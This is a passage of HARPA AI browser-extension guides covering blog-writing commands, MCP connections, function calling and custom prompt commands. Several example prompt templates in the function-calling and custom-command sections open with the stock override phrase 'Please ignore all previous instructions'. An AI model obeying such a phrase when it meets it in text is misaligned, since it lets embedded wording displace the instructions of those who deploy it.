Connections](https://harpa.ai/guides/api-connections) ** — Connect using your own API keys. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/ai-vision-features) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/quick-access-bar) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Blog Writer [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/edit-04.svg) Blog Writer =========== CONTENTS NAVIGATE In HARPA AI, there are several AI commands designed to create textual content: * **/rewrite** - Assists in refining text according to your needs. It can be used to shorten, lengthen, or check the grammar of text. * **/reply** - Helps in responding to comments, tweets, or emails. * **/compose** - A sophisticated dialogue system that enables the efficient creation and modification of various types of content, including emails, direct messages, articles, tweets, and more. * **/article-creator** - Designed to generate large texts, circumventing ChatGPT's limitations. It allows the generation of a single article section, initiates the creation of an entire article, or produces content chapter-by-chapter based on an existing or newly created outline. * **/outrank-seo-article** - Allows you to take a competitor's article and rewrite it for better search engine optimization, adhering to Google's E-A-T (Expertise, Authority, Trustworthiness) requirements. * **/repurpose-video** and **/repurpose-text** - These two commands enable the repurposing of YouTube video transcripts or website content. They automatically process the source material, extract relevant information, and generate blog posts, tweets, or articles using the **/article-creator**. Try out these commands and choose the one that best suits you, or create your own custom command or automation. HARPA AI supports both the free OpenAI account and the OpenAI Plus version (ChatGPT Plus) with GPT-5.4 models. You can experience the full power of GPT-5.4 writing in different styles or use GPT-5 Nano for faster response times. [\#](https://harpa.ai/guides/write-text-on-websites-with-ai#ai-writing-use-cases) AI writing use cases ------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/guides/write-text-on-websites-with-ai#writing-a-blog-post-based-on-a-webpage-content) Writing a blog post based on a webpage content To begin, make sure to install [Google Chrome](https://www.google.com/chrome) or a [Chromium-based browser](https://alvarotrigo.com/blog/best-chromium-browsers/) and [HARPA AI Chrome Extension](https://get.harpa.ai/) . 1. Open HARPA AI by clicking its icon in the top right corner or pressing **Alt+A** (on Windows) and **^+A** (on Mac). 2. Type **/** in the chat and choose a command based on your needs. If you have a finished article you wish to optimize for better search rankings, use the **/outrank-seo-article** command. Alternatively, if you want to create a blog post using content from a web page, **/repurpose-video** is ideal for YouTube videos, while **/repurpose-text** is perfect for any other text-based sources. Learn more about the **/outrank-seo-article** command and its Keyword Optimization feature by reading this [blog post](https://harpa.ai/blog/outrank-article-with-chatgpt) . 3. Let's use the **/repurpose-video** command to create a full blog post based on a video. Find the command, launch it, and wait for it to analyze the video and present you with options: blog post, article, tweet and custom. ![](https://harpa.ai/img/guides/aitext-1.webp) 4. Click on the blog post option, select its length, and the text generation will begin. Once the blog post is generated, you'll see options like **Done**, **Add keywords** and **Refine**. ![](https://harpa.ai/img/guides/aitext-2.webp) 5. Let's try to add some LSI keywords. When you select this option, you will be prompted to either automatically extract LSI keywords from SERP or paste your own keywords. We’ll try the automatic option. 6. Enter your search query, and I will find the keywords, then automatically add them into the blog post. ![](https://harpa.ai/img/guides/aitext-3.webp) 7. When the text is ready, you'll have options to refine it. If you're satisfied, just hit **DONE** or press **Esc** to finish the command. ### [\#](https://harpa.ai/guides/write-text-on-websites-with-ai#writing-dms,-comments-and-replies-on-social-media) Writing DMs, comments and replies on social media You can utilize HARPA AI's **/compose** or **/reply** commands to respond to emails, tweets, comments, and direct messages online. Let’s explore how HARPA AI can enhance online communication, such as writing comments on LinkedIn, to improve communication skills and expand our professional network by using these features. 1. Select the text on a webpage. 2. Open HARPA AI by clicking its icon in the top right corner or pressing **Alt+A** (on Windows) and **^+A** (on Mac). 3. Type **/reply** in HARPA AI and choose the **SELECTED TEXT** option. ![](https://harpa.ai/img/guides/aitext-4.webp) Alternatively, you can either manually copy and paste the message into the HARPA dialogue or simply press 'Enter' to extract data from the entire web page. However, when dealing with DMs or Comments, it is recommended to use the **Grab** feature. Click on the button to activate the grabber. ![](https://harpa.ai/img/guides/aitext-5.webp) 4. Choose a response style from the given options or write your own variant. You can generate agreements, disagreements, questions, clarifications, suggestions, jokes, ideas, ask for information and much more. ![](https://harpa.ai/img/guides/aitext-6.webp) 5. Once the text is ready, you can **refine** it, copy it by clicking the '**Copy**' button, or paste it onto the page by clicking the '**Paste to page**' button. ![](https://harpa.ai/img/guides/aitext-7.webp) ### [\#](https://harpa.ai/guides/write-text-on-websites-with-ai#generating-an-article-of-unlimited-length) Generating an article of unlimited length You can utilize HARPA AI's **/compose** or **/reply** commands to respond to emails, tweets, comments, and direct messages online. Let's use ChatGPT to create articles of unlimited length in different styles and frameworks. 1. Open HARPA AI by clicking its icon in the top right corner or pressing **Alt+A** (on Windows) and **^+A** (on Mac). 2. Type **/article** in HARPA chat and select "**Article Creator**" command. 3. You can create an entire article in one go, or a big article chapter by chapter. Let's create a big article. ![](https://harpa.ai/img/guides/aitext-8.webp) 4. Click "**Generate Outline**" button then type in the topic of your article or press Enter and HARPA will guess the topic from on the open web page. ![](https://harpa.ai/img/guides/aitext-9.webp) 5. Pick an article style or type custom instructions. [Read more about article writing styles](https://harpa.ai/guides/writing-styles) . ![](https://harpa.ai/img/guides/aitext-10.webp) 6. Wait for the Outline to be generated. Click **Edit** to refine it, or '**Done**' to accept it as is. 7. Once the outline is ready, let's generate the article section by section, starting with the first chapter. ![](https://harpa.ai/img/guides/aitext-11.webp) 8. Once the first chapter is generated, you can refine it or add keywords. ![](https://harpa.ai/img/guides/aitext-12.webp) 9. Click on '**Add keywords**', then either find keywords from the SERP or copy and paste your own. 10. Once done with the first chapter, move to the next one, review the entire article, or paste it to the web page. Continue until you have written an article that meets your requirements. The HARPA chapter-by-chapter article writing method allows ChatGPT to write long articles that perfectly match your SEO optimization needs. [\#](https://harpa.ai/guides/write-text-on-websites-with-ai#links-for-further-reading) Links for further reading ----------------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [GPT Chunking](https://harpa.ai/guides/chunking) * [Using Flags](https://harpa.ai/guides/using-flags) * [Google Search Operators in {{serp}}](https://harpa.ai/blog/google-search-operators-harpa-ai) * [Page Crawler](https://harpa.ai/guides/page-parameter-page-crawler) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/writing-styles) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | MCP Connections [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) MCP Connections =============== CONTENTS NAVIGATE [\#](https://harpa.ai/guides/mcp-connections#what-is-mcp?) What is MCP? ------------------------------------------------------------------------ **In short:** APIs require you to tell the code exactly what to call. MCP lets the AI figure out what tools it needs based on the conversation. When you ask a question, HARPA looks at the self-describing tools from all connected MCP servers. Each MCP server advertises what it can do (tool names, descriptions, parameters). **Example:** You ask "What's the weather in London?" → HARPA sees a weather MCP has a get\_weather tool (assuming you've added one!) → routes the request there → gets the response and the AI answers with the context from the MCP. It's dynamic routing based on capabilities, not hardcoded "if weather, then call weather API" logic. ### [\#](https://harpa.ai/guides/mcp-connections#getting-started) Getting Started 1. Open HARPA on any website by clicking its icon or pressing **Alt+A** (Windows) or **^+A** (Mac). 2. Open the AI model menu by clicking the **MODELS** tab at the top or the **three-dot menu** in the bottom left corner. ![](https://harpa.ai/img/guides/cloudgpt-connections-1.webp) 3. Scroll down to the **MCP CONNECTIONS** section. Click **+** to add a new connection or edit an existing one. ![](https://harpa.ai/img/guides/mcp-connections-1.webp) You'll see a sample Context7 MCP connection included for reference. If you'd like to use it, create your own API key at [Context7](https://context7.com/dashboard) . 4. Enter the MCP server URL. HARPA will automatically test the connection and display the number of available tools. If no tools appear, double-check the URL. ![](https://harpa.ai/img/guides/mcp-connections-2.webp) Check your MCP provider's documentation for required headers and add your API key if needed. 5. Optionally, add a **description** to give the AI extra context, e.g. "Use this MCP for weather data." In most cases the AI will understand the tools on its own — this field is useful for edge cases or less capable models. 6. Toggle the MCP connection **on**. Once enabled, its tools will be included with every AI request. ![icon](https://harpa.ai/icon/lines/education/atom-02.svg) Make sure your CloudGPT or API connection supports MCP calls. Most connections do, but there are exceptions. To verify that your connection receives MCP tools, find it in the expanded model menu (click **MORE**) and check the **MCP calls** toggle at the bottom. This doesn't guarantee full MCP compatibility, but it will send tool definitions along with your requests so you can test whether the connection works. ![](https://harpa.ai/img/guides/mcp-connections-3.webp) [\#](https://harpa.ai/guides/mcp-connections#other-connection-types) Other Connection Types -------------------------------------------------------------------------------------------- * **[CloudGPT Connections](https://harpa.ai/guides/cloudgpt-connections) ** — Premium hosted AI models powered by Megatokens. * **[Web Session Connections](https://harpa.ai/guides/web-session-connections) ** — Free connections through your browser sessions. * **[API Connections](https://harpa.ai/guides/api-connections) ** — Connect using your own API keys. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/api-connections) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/image-generation) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Function Calling [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/development/dataflow-01.svg) Function Calling ================ CONTENTS NAVIGATE Function calling is available for [OpenAI API](https://harpa.ai/blog/how-to-get-an-openai-api-key) and [Cloud GPT](https://harpa.ai/blog/cloud-gpt-connection) connections, allowing you to instruct AI to make decisions and create complex custom AI agents. In function calling you can describe functions and have the AI model intelligently choose to output a JSON object containing arguments to call one of the functions. Function declarations follow the OpenAI function specifications. You can learn more on this topic by referring to these pages: * [https://platform.openai.com/docs/guides/function-calling](https://platform.openai.com/docs/guides/function-calling) * [https://www.datacamp.com/tutorial/open-ai-function-calling-tutorial](https://www.datacamp.com/tutorial/open-ai-function-calling-tutorial) * [https://community.openai.com/t/function-calling-parameter-types/268564/8](https://community.openai.com/t/function-calling-parameter-types/268564/8) [\#](https://harpa.ai/guides/function-calling#function-calling-in-harpa) Function calling in HARPA --------------------------------------------------------------------------------------------------- In HARPA, you can declare functions in GPT steps. Function will be selected by AI based on the GPT prompt. ![](https://harpa.ai/img/guides/functions-1.webp) We recommend combining **ASK** and **GPT** steps. In the **ASK** step, you ask {{text}}, and in the **GPT** step, you send {{text}} for processing and function selection. ![](https://harpa.ai/img/guides/functions-2.webp) Within the GPT step, you can declare any number of functions as objects in an array. Your JSON object or array must be valid. **Function specification example:** { "name": "get_current_weather", "description": "Get the current weather", "parameters": { "type": "object", "properties": { "location": { "type": "string", "description": "The city and state, e.g. San Francisco, CA" }, "format": { "type": "string", "enum": ["celsius", "fahrenheit"], "description": "The temperature unit to use. Infer this from the users location." } }, "required": ["location", "format"] } } In this example "location" has a type of "string". "location": { "type": "string", "description": "The city and state, e.g. San Francisco, CA", }, And "format" is a choice of 2 options, "celsius" or "fahrenheit". "format": { "type": "string", "enum": ["celsius", "fahrenheit"], "description": "The temperature unit to use. Infer this from the users location.", }, The "**enum**" keyword is used to restrict a value to a fixed set of values. It must be an array with at least one element, where each element is unique. After you have declared the functions, select how to call them: ![](https://harpa.ai/img/guides/functions-3.webp) * **None** - Do not call functions. * **Auto** - AI may either call a function or provide a text answer. * **Required** - force GPT to always call the first function. Function name is then stored in the **{{gptFunc}}** parameter, and arguments are stored in the **{{gptArgs}}**. Both can be interpreted by the command. ![](https://harpa.ai/img/guides/functions-4.webp) Once you have a function name, you can add **GROUP** steps to interpret each function. Use function name to specify the GROUP condition, e.g.: **{{gptFunc}} = get\_current\_weather** ![](https://harpa.ai/img/guides/functions-5.webp) You can perform any steps or actions needed to interpret the function, such as getting the desired weather data, e.g.: [{{serp query}}](https://harpa.ai/blog/google-search-operators-harpa-ai#google-operators-in-harpa-ai) or [{{page URL}}](https://harpa.ai/guides/page-parameter-page-crawler) . You can use arguments specified by GPT, which in the example are {{gptArgs.location}} and {{gptArgs.format}}: ![](https://harpa.ai/img/guides/functions-6.webp) This way you can interpret GPT functions and create custom tools for your AI command. ### [\#](https://harpa.ai/guides/function-calling#use-case:-learning-agent) Use Case: Learning Agent Let's go step by step making a Spanish learning agent. The agent will include two functions: * If the text is English, it will translate it to Spanish, and explain the translation. * If the text is Spanish, it checks it for errors. 1. Create a custom command and add a single **ASK** step to prompt for text. ![](https://harpa.ai/img/guides/functions-7.webp) 2. Add a GPT step which references the text parameter. Click the "functions" button and declare 2 functions: ![](https://harpa.ai/img/guides/functions-8.webp) **Functions:** [\ {\ "name": "translate",\ "description": "If I sent something in English, Translates the received English text into Spanish.",\ "parameters": {\ "type": "object",\ "properties": {\ "text": {\ "type": "string",\ "description": "The text I sent for processing."\ }\ },\ "required": [\ "text"\ ]\ }\ },\ {\ "name": "grammar_check",\ "description": "If I sent something in Spanish, Analyzes the Spanish text and checks its grammar and spelling.",\ "parameters": {\ "type": "object",\ "properties": {\ "text": {\ "type": "string",\ "description": "The text I sent for processing."\ }\ },\ "required": [\ "text"\ ]\ }\ }\ ] 3. Create two extra groups, each handling a separate function call, and set a conditions for each group. ![](https://harpa.ai/img/guides/functions-9.webp) 4. Drill down into groups to declare **GPT** steps for translation and grammar checks. **Translate:** Please ignore all previous instructions. Act as a professional Spanish teacher and grammar expert. Concisely translate into Spanish using universally understandable words and expressions, enhance readability. Instructions: - Firstly, show the translation to Spanish in the markdown code block. - Secondly, briefly explain the main grammar rules and tenses applied in English in bullet points, so that I understand how you performed the translation. - For example, if you used a word in the plural, indicate how the word formation occurs. If you used a verb in the past tense, say what it is in the infinitive and so on. - Strictly follow the output format and do not echo my prompt. Text for translation: "{{gptArgs.text}}" Follow the output format: \```markdown \markdown formatted translation without quotes \``` **Brief Explanation:** - ... Your response: **Grammar check:** Please ignore all previous instructions. Act as a professional Spanish teacher and grammar expert. You are tasked with examining provided text in Spanish and highlighting the mistakes. I want you to explain the mistakes in English, but when demonstrating the mistakes, do not change the original language of the text. Instructions: - Firstly, show the corrected sentence in Spanish in the markdown code block. - Secondly, briefly explain in English the main mistakes I made in bullet points, so that I understand the rules of the Spanish language. - Carefully evaluate the text for any grammatical, syntax and spelling errors, including incorrect verb tenses, misplaced punctuation, improper word usage, and any other mistakes that may detract from its clarity and coherence. - Strictly follow the output format and do not echo my prompt. Text for evaluation: "{{gptArgs.text}}" Follow the output format: **Corrected text:** \```markdown \properly structured sentence in Spanish \``` **List of mistakes made:** - ... Your response: 5. Then test your new Spanish learning command. ![](https://harpa.ai/img/guides/functions-10.webp) [\#](https://harpa.ai/guides/function-calling#links-for-further-reading) Links for further reading --------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [Using Flags](https://harpa.ai/guides/using-flags) * [Google Search Operators in {{serp}}](https://harpa.ai/blog/google-search-operators-harpa-ai) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/chunking) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/using-flags) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Custom AI Commands [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) Custom AI Commands ================== CONTENTS NAVIGATE HARPA AI allows writing and reusing custom page-aware ChatGPT commands. Custom commands empower you to streamline your web workflow by crafting and quickly reusing unique prompts tailored to your online tasks. The following guide is a basic overview of how to create and use custom GPT commands in HARPA AI. HARPA AI Commands can do a lot more than generating text, please refer to [AI Commands & ChatML specification](https://harpa.ai/chatml/overview) for in-depth information. ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) Commands are easy to create and use. You do not need to have engineering knowledge to set up a custom AI command and boost your productivity. [\#](https://harpa.ai/guides/custom-page-aware-chatgpt-commands#how-to-create-a-custom-command) How to create a Custom Command ------------------------------------------------------------------------------------------------------------------------------- 1. Open HARPA AI by clicking its icon in the top right corner or pressing **Alt+A** (on Windows) and **^+A** (on Mac). 2. To bring up a list of AI commands and ChatGPT prompts, type the **/** symbol in the HARPA AI chat. 3. Click the **CREATE** option at the top. ![](https://harpa.ai/img/guides/custom-commands-1.webp) 4. You now have a sample command initialized in the **Command Editor**. This command has a sample **GPT** step that summarizes a web page into bullet points. ![](https://harpa.ai/img/guides/custom-commands-2.webp) 5. To customize your new command, click the **ADD STEP** button and pick a step type to add to your new command. ![](https://harpa.ai/img/guides/custom-commands-3.webp) * More on steps, click here: [Automation Steps.](https://harpa.ai/chatml/automation-steps) * For customizing your command with parameters, click here: [Parameters.](https://harpa.ai/chatml/parameters) 6. Click **SAVE** to save your command. ![](https://harpa.ai/img/guides/custom-commands-4.webp) 7. You can now run it on any website by clicking the HARPA AI icon in the top right corner or by pressing **Alt+A** (on Windows) and **^+A** (on Mac). ![](https://harpa.ai/img/guides/custom-commands-5.webp) You can see an example of complex prompt engineering [here](https://harpa.ai/blog/youtube-video-to-blog-post) , demonstrated with the automatic creation of a blog post from a YouTube video using ChatGPT. ### [\#](https://harpa.ai/guides/custom-page-aware-chatgpt-commands#tl;dr:-command-parameters) TL;DR: Command Parameters There is no special vocabulary for writing ChatGPT commands in HARPA AI. But it may be helpful to be aware of some parameters you can use with your prompts: * _{{page}}_ parameter allows you to extract text content from a web page and send it to ChatGPT. * _{{language}}_ parameter allows you to instruct ChatGPT to reply in a given language regardless of the language of your request. The language parameter value is taken from the HARPA AI settings. * _{{url}}_, _{{domain}}_, _{{desc}}_ - page URL, domain and description. * _{{transcript}}_ - allows you to extract and use YouTube video transcription in your commands. * _{{p1}}_, _{{p2}}_, _{{p3}}_... - these parameters let you customize your command every time it is run. We will dive into how custom parameters work in this guide. ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) Remember, you can always type /help to open the Help Command, which can assist you in finding answers to questions about HARPA AI. ![](https://harpa.ai/img/guides/custom-commands-6.webp) Learn more about [Command Parameters.](https://harpa.ai/chatml/parameters) ### [\#](https://harpa.ai/guides/custom-page-aware-chatgpt-commands#tl;dr:-automation-steps) TL;DR: Automation Steps Then pick the step type to create and add to your new command: * **[SAY, ASK, GPT](https://harpa.ai/chatml/steps-say-ask-gpt) ** - these steps are used to send messages to chat, ask for parameter values, and send AI requests. * **[NAVIGATE](https://harpa.ai/chatml/steps-navigate) ** - navigates opened tab to a specific URL. * **[WAIT](https://harpa.ai/chatml/steps-wait) ** - pauses command execution until page stops updating, text or element appears on the page, JavaScript function returns true, or a timeout in milliseconds is reached. * **[REQUEST](https://harpa.ai/chatml/steps-request) ** - sends data to a Webhook, calls remote API or fetches web page HTML. * **[CLICK, PASTE, SCROLL](https://harpa.ai/chatml/steps-click-paste-scroll) ** - click page elements and insert text into page forms and inputs. * **[EXTRACT](https://harpa.ai/chatml/steps-extract) ** - retrieves content of web elements on page. * **[GROUP, LOOP, JUMP](https://harpa.ai/chatml/steps-group-loop-jump) ** - group steps together, loop over data items and control command flow. * **[RUN JS](https://harpa.ai/chatml/steps-run-js) ** - runs JavaScript code in scope of the opened web page. * **[COMMAND](https://harpa.ai/chatml/steps-command) ** - calls other commands; allows building higher-order commands. * **[CLEAR, STOP](https://harpa.ai/chatml/steps-clear-stop) ** - erase chat history or terminate current command. * **[CALC](https://harpa.ai/chatml/steps-calc) ** - sets or modifies parameter values, merges lists, extracts data. Most steps support labels, conditions and silencing: * When silenced, steps will not print messages to chat. * When labeled, steps can be jumped to using **JUMP** step. * When conditioned, steps will only run if the condition is met. Learn more about [Automation Steps.](https://harpa.ai/chatml/automation-steps) [\#](https://harpa.ai/guides/custom-page-aware-chatgpt-commands#advanced-custom-command) Advanced Custom Command ----------------------------------------------------------------------------------------------------------------- Let's try using multiple parameters and automation steps in a **Search Assistant** custom command to generate a short textual summary based on your search query. 1. Open HARPA AI and type **/** in the chat. 2. Click on the **CREATE** button in the top right corner. 3. Add the **ASK** step to request the text of your search query and save it in the **{{query}}** parameter. ![](https://harpa.ai/img/guides/custom-commands-7.webp) 4. Add the **SAY** step that will display the **{{serp {{query}}}}** results in the chat. 5. Add the **CALC: SET PARAMETER** step to create a new parameter with information from **{{serp {{query}}}}**, named **{{data}}**. This way, the SERP related to your query in the **{{query}}** parameter will be saved in **{{data}}** for further processing. ![](https://harpa.ai/img/guides/custom-commands-8.webp) We will discuss the **{{serp {{query}}}}** parameter in more detail in [this guide](https://harpa.ai/blog/google-search-operators-harpa-ai) . 6. Add the **GPT** step that combines the SERP data into one complete text containing details about your initial query. GPT STEP EXAMPLE: Please ignore all previous instructions. I want you to only respond in {{language}}. You are a Search Assistant. I want you to create the brief response to [MY QUESTION], adhering to a specific format I provide. - Utilize both your inherent knowledge and the [WEB RESEARCH RESULTS] provided at the end. - Do not use any other tools and sources. - Please avoid general phrases and unrelated words from your response to my question. - Do not hallucinate facts or information. FOLLOW THE FORMAT: ## Answer for '{{query}}': 150 words brief response text [MY QUESTION]: {{query}} [WEB RESEARCH RESULTS]: {{data}} [BRIEF RESPONSE]: 7. Done! You now have the "**Search Assistant**" command, which helps you find information related to your query and explain it in understandable language. ![](https://harpa.ai/img/guides/custom-commands-9.webp) [\#](https://harpa.ai/guides/custom-page-aware-chatgpt-commands#quick-intro-to-prompt-engineering) Quick Intro to Prompt Engineering ------------------------------------------------------------------------------------------------------------------------------------- Here are some excellent guide on Prompt Engineering: * [Best practices for prompt engineering with OpenAI API](https://help.openai.com/en/articles/6654000-best-practices-for-prompt-engineering-with-openai-api) * [Learn Prompting](https://learnprompting.org/) * [GitHub Prompt Engineering Guide](https://github.com/dair-ai/Prompt-Engineering-Guide) Information from these guides can be applied to writing AI commands in HARPA AI. Here is a quick overview of what constitutes good prompting: 1. **How can I write useful custom commands?** The keys to writing effective and useful ChatGPT commands is to be clear and specific, provide enough context for AI and clearly define what you expect. Try to be as precise as possible about what you would like AI to do. Avoid vague and ambiguous phrasing that may lead to unsatisfactory responses. For example, the following prompt Write me FAQ about {{page}} can be improved like this I want you to write a FAQ about a product described in the web page. FAQ should include at least five subheadings that includes a question and an answer. For every question provide a concise answer. Style output with markdown. Use a friendly tone. Write approximately 750 words in total. Web page content: {{page}} FAQ: 2. **What are some examples of bad prompt writing?** Bad prompt writing include prompts that are too general, ambiguous, or require specialized knowledge or cultural references that the AI may not be familiar with. For instance, this prompt is too broad: Tell me something interesting The power of custom prompts comes from the fact you can quickly reuse them on any page. So making commands out of simple prompts may not be worthwhile. 3. **How to improve my prompt engineering?** Experimenting with different prompt types is an effective way to refine your prompts. Try out different phrasings, topics, and structures to see what works best. Tweak your prompts based on the output from the AI. Here is one of the most useful phrases to include with your prompts: Format your response with markdown, include heading, subheadings, bullet points, bold and italic markdown styles where appropriate. And the following phrase could help you get an answer in a writing style you need: Use persuasive tone, rhetorical questions and storytelling to engage readers. Use metaphors, analogies etc. to make your answer relatable and memorable. 4. **What are some examples of good prompt writing?** Great prompts are clear, specific, and tailored to your needs. Here are a few examples: **Short summary:** I want you to act as a very proficient copy writer. Your task is to summarize the text I give you in 20 words or maximum 150 characters. The text to summarize: {{page}} Summary: **Math teacher:** I want you to act as a math teacher. I will give you a mathematical equation, concept or a problem, and your job will be to explain them in easy-to-understand terms to me. This could include providing step-by-step instructions for solving a problem, demonstrating various techniques or suggesting online resources for further study. The equation / concept / problem: {{page}} Explanation: **Domain Name Generator:** I want you to act as a domain name generator. I'll tell you my company name or product description and your goal is to provide a list of free domain names. Reply with the list of domain names and nothing else. The domain names should be 10 letters maximum. The domain names should include SEO keywords for the product or the business whenever possible. The domain names should end in .com. Information about the company: {{p1}} Domain names: [\#](https://harpa.ai/guides/custom-page-aware-chatgpt-commands#links-for-further-reading) Links for further reading --------------------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [GPT Chunking](https://harpa.ai/guides/chunking) * [Using Flags](https://harpa.ai/guides/using-flags) * [Google Search Operators in {{serp}}](https://harpa.ai/blog/google-search-operators-harpa-ai) * [Page Crawler](https://harpa.ai/guides/page-parameter-page-crawler) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/writing-styles) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/chunking) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses 